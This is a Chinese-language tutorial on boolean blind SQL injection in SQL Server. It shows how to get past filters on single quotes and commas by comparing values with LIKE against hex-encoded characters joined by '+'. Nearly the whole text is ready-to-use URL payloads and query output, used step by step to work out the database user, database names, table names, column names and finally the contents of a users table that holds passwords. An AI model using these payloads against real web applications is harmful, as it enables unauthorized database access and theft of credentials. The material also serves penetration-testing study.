0x01 前言
2020年03月15日,我朋友找我问了一个问题
Sql Server数字类型盲注,过滤了单引号和逗号,如何进行注入出数据?
于是本文就出来了=-=
0x02 基本数据
1> select * from article;
2> go
+----+-----------+-----------+
| id | title | content |
+----+-----------+-----------+
| 1 | 测试标题 | 测试内容 |
| 2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)
// 测试表数据: users;
sql server> select * from users;
+----+--------------+----------+
| id | username | password |
+----+--------------+----------+
| 1 | test-user-01 | 123456 |
| 2 | test-user-02 | 234567 |
+----+--------------+----------+
2 rows in set (0.00 sec)
sql server> SELECT system_user;
+-----------------------+
| field1 |
+-----------------------+
| sa |
+-----------------------+
1 row in set (0.00 sec)
sql server> select db_name();
+-----------------------+
| field1 |
+-----------------------+
| test |
+-----------------------+
1 row in set (0.00 sec)
0x03 注意事项
这里说明推荐一下看一下这个文章,这样就知道各进制转换的结果
https://www.yuque.com/pmiaowu/ppx2er/kfvuhv
// 16进制有两种显示方式
例如
转换 1, 2, 3
如果有查看我上面推荐的文章移到 16进制 那一列
就可以知道
1 的16进制 = 31
2 的16进制 = 32
3 的16进制 = 33
那么对比的时候
第一种: 123 like 0x31 + 0x32 + 0x33 是相等的
第二种: 123 like 0x313233 是相等的
这两种方式都是可以的
其中真实注数据的时候需要注意一点!!!
那就是要出的数据最好使用 cast()函数 转换成 varchar 类型
因为使用 like + 16进制 来判断数据的时候,你不转换的话, 有的情况你会发现判断永远等于 False
例如:
user = dbo
d 的16进制 = 64
b 的16进制 = 62
o 的16进制 = 6F
// 你会发现明明是对的, 但是返回一直是False 这会导致你无法正常注入 如下
1> select * from article where (user like 0x64626F);
2> go
+----+-----+--------+
| id | title | content |
+----+-----+--------+
+----+-----+--------+
(0 rows affected)
// 这样你会发现又可以正常注入了, 所以使用该方法记得把数据转换成 varchar 类型 如下
1> select * from article where (cast((user) as varchar) like 0x64626F);
2> go
+----+-----------+-----------+
| id | title | content |
+----+-----------+-----------+
| 1 | 测试标题 | 测试内容 |
| 2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)
0x04 猜当前连接用户
web语句: http://www.test.com/sql.php?id=1 and (cast((user) as varchar) like 0x64+0x6F)
数据库语句: select * from article where id=1 and (cast((user) as varchar) like 0x64+0x6F)
1> select * from article where id=1 and (cast((user) as varchar) like 0x64+0x6F);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
// 等同于
// select * from article where id=1 and (cast((user) as varchar) like '%%');
// 查询当前连接用户长度
// 0x5F = _ (下划线通配符:表示匹配单个字符)
// 对的情况, 表示user长度=3
1> select * from article where id =1 and (cast((user) as varchar) like 0x25+0x5F+0x5F+0x5F+0x25);
2> go
+----+-----------+-----------+
| id | title | content |
+----+-----------+-----------+
| 1 | 测试标题 | 测试内容 |
+----+-----------+-----------+
(2 rows affected)
// 等同于
// select * from article where id =1 and (cast((user) as varchar) like '%___%');
// 错误的情况, 表示user长度!=4
1> select * from article where id =1 and (cast((user) as varchar) like 0x25+0x5F+0x5F+0x5F+0x5F+0x25);
2> go
+----+-----+--------+
| id | title | content |
+----+-----+--------+
+----+-----+--------+
(0 rows affected)
0x05 猜库名
注意: db_name() 修改会显示其他库名
例如:
修改为db_name() 就是当前连接的库
修改为db_name(1) 就是出1库
修改为db_name(2) 就是出2库
web语句: http://www.test.com/sql.php?id=1 and (cast((db_name()) as varchar) like 0x25+0x74+0x65+0x25)
数据库语句: select * from article where id=1 and (cast((db_name()) as varchar) like 0x25+0x74+0x65+0x25)
// 查询 db_name() 前两个字符
db_name() = test
t 的16进制 = 74
e 的16进制 = 65
// 对的情况
1> select * from article where id=1 and (cast((db_name()) as varchar) like 0x25+0x74+0x65+0x25);
2> go
+----+-----------+-----------+
| id | title | content |
+----+-----------+-----------+
| 1 | 测试标题 | 测试内容 |
| 2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)
// 错的情况
1> select * from article where id=1 and (cast((db_name()) as varchar) like 0x25+0x74+0x61+0x25);
2> go
+----+-----+--------+
| id | title | content |
+----+-----+--------+
+----+-----+--------+
(0 rows affected)
0x06 猜表名
查询不同的库可以这样
例如现在有 test库 与 test2库
那么就可以这样调用
test.dbo.sysobjects
test2.dbo.sysobjects
查询不同的表可以这样
例如:
修改 top 0 id 出表1
修改 top 1 id 出表2
注意:
XType=0x55 表示获取某数据库的所有用户表;
XType=0x53 表示获取某数据库的所有系统表;
web语句: http://www.test.com/sql.php?id=1 and cast(((select top 1 name from test.dbo.sysobjects where id not in(select top 0 id from test.dbo.sysobjects where XType=0x55 order by id) and XType=0x55 order by id)) as varchar) like 0x25+0x75+0x73+0x65+0x72+0x73+0x25
数据库语句: select * from article where id=1 and cast(((select top 1 name from test.dbo.sysobjects where id not in(select top 0 id from test.dbo.sysobjects where XType=0x55 order by id) and XType=0x55 order by id)) as varchar) like 0x25+0x75+0x73+0x65+0x72+0x73+0x25
// 查询库第一张表
第一张表 = users
%users% = 0x25+0x75+0x73+0x65+0x72+0x73+0x25
1> SELECT
*
FROM
article
WHERE
id = 1
AND CAST (
(
(
SELECT
TOP 1 name
FROM
test.dbo.sysobjects
WHERE
id NOT IN (
SELECT
TOP 0 id
FROM
test.dbo.sysobjects
WHERE
XType = 0x55
ORDER BY
id
)
AND XType = 0x55
ORDER BY
id
)
) AS VARCHAR
) LIKE 0x25+0x75+0x73+0x65+0x72+0x73+0x25;
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
// 查询库第二张表
第二张表 = article
%article% = 0x61+0x72+0x74+0x69+0x63+0x6C+0x65
1> SELECT
*
FROM
article
WHERE
id = 1
AND CAST (
(
(
SELECT
TOP 1 name
FROM
test.dbo.sysobjects
WHERE
id NOT IN (
SELECT
TOP 1 id
FROM
test.dbo.sysobjects
WHERE
XType = 0x55
ORDER BY
id
)
AND XType = 0x55
ORDER BY
id
)
) AS VARCHAR
) LIKE 0x25+0x61+0x72+0x74+0x69+0x63+0x6C+0x65+0x25;
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
0x07 猜字段
查询不同的字段可以这样
例如:
修改 top 0 ordinal_position 出字段1
修改 top 1 ordinal_position 出字段2
web语句: http://www.test.com/sql.php?id=1 and (cast((select top 1 column_name from information_schema.columns where ordinal_position not in(select top 0 ordinal_position from information_schema.columns where cast(table_name as varchar) like 0x7573657273 order by ordinal_position) and cast(table_name as varchar) like 0x7573657273 order by ordinal_position) as varchar) like 0x25+0x69+0x25)
数据库语句: select * from article where id=1 and (cast((select top 1 column_name from information_schema.columns where ordinal_position not in(select top 0 ordinal_position from information_schema.columns where cast(table_name as varchar) like 0x7573657273 order by ordinal_position) and cast(table_name as varchar) like 0x7573657273 order by ordinal_position) as varchar) like 0x25+0x69+0x25)
user 表 第一个字段 = id
// 获取当前库 users表 第一个字段第一个字符
1> SELECT
*
FROM
article
WHERE
id = 1
AND (
CAST (
(
SELECT
TOP 1 column_name
FROM
information_schema.columns
WHERE
ordinal_position NOT IN (
SELECT
TOP 0 ordinal_position
FROM
information_schema.columns
WHERE
CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
)
AND CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
) AS VARCHAR
) LIKE 0x25 + 0x69 + 0x25
);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
// 获取当前库 users表 第一个字段 第一与第二个字符
1> SELECT
*
FROM
article
WHERE
id = 1
AND (
CAST (
(
SELECT
TOP 1 column_name
FROM
information_schema.columns
WHERE
ordinal_position NOT IN (
SELECT
TOP 0 ordinal_position
FROM
information_schema.columns
WHERE
CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
)
AND CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
) AS VARCHAR
) LIKE 0x25 + 0x69 + 0x64 + 0x25
);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
user 表 第一个字段 = username
// 获取当前库 users表 第二个字段第一个字符
1> SELECT
*
FROM
article
WHERE
id = 1
AND (
CAST (
(
SELECT
TOP 1 column_name
FROM
information_schema.columns
WHERE
ordinal_position NOT IN (
SELECT
TOP 1 ordinal_position
FROM
information_schema.columns
WHERE
CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
)
AND CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
) AS VARCHAR
) LIKE 0x25 + 0x75 + 0x25
);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
// 获取当前库 users表 第一与第二个字符
1> SELECT
*
FROM
article
WHERE
id = 1
AND (
CAST (
(
SELECT
TOP 1 column_name
FROM
information_schema.columns
WHERE
ordinal_position NOT IN (
SELECT
TOP 1 ordinal_position
FROM
information_schema.columns
WHERE
CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
)
AND CAST (table_name AS VARCHAR) LIKE 0x7573657273
ORDER BY
ordinal_position
) AS VARCHAR
) LIKE 0x25 + 0x75 + 0x73 + 0x25
);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
0x08 猜内容
查询不同的数据可以这样
例如:
修改 top 0 id 出数据1
修改 top 1 id 出数据2
web语句: http://www.test.com/sql.php?id=1 and (cast((select top 1 id from users where id not in(select top 0 id from users order by id) order by id) as varchar) like 0x25+0x31+0x25)
数据库语句: select * from article where id = 1 and (cast((select top 1 id from users where id not in(select top 0 id from users order by id) order by id) as varchar) like 0x25+0x31+0x25)
// 查询users表 第一条数据, id 字段 第1个字符
id = 1
%1% = 0x25 + 0x31 + 0x25
1> SELECT
*
FROM
article
WHERE
id = 1
AND (
CAST (
(
SELECT
TOP 1 id
FROM
users
WHERE
id NOT IN (
SELECT
TOP 0 id
FROM
users
ORDER BY
id
)
ORDER BY
id
) AS VARCHAR
) LIKE 0x25 + 0x31 + 0x25
);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
// 查询users表 第二条数据, username 字段 第1个字符
username = test-user-02
%t% = 0x25 + 0x74 + 0x25
1> SELECT
*
FROM
article
WHERE
id = 1
AND (
CAST (
(
SELECT
TOP 1 username
FROM
users
WHERE
id NOT IN (
SELECT
TOP 1 id
FROM
users
ORDER BY
id
)
ORDER BY
id
) AS VARCHAR
) LIKE 0x25 + 0x74 + 0x25
);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
// 查询users表 第二条数据, username 字段 第1与第2个字符
1> SELECT
*
FROM
article
WHERE
id = 1
AND (
CAST (
(
SELECT
TOP 1 username
FROM
users
WHERE
id NOT IN (
SELECT
TOP 1 id
FROM
users
ORDER BY
id
)
ORDER BY
id
) AS VARCHAR
) LIKE 0x25 + 0x74 + 0x65 + 0x25
);
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)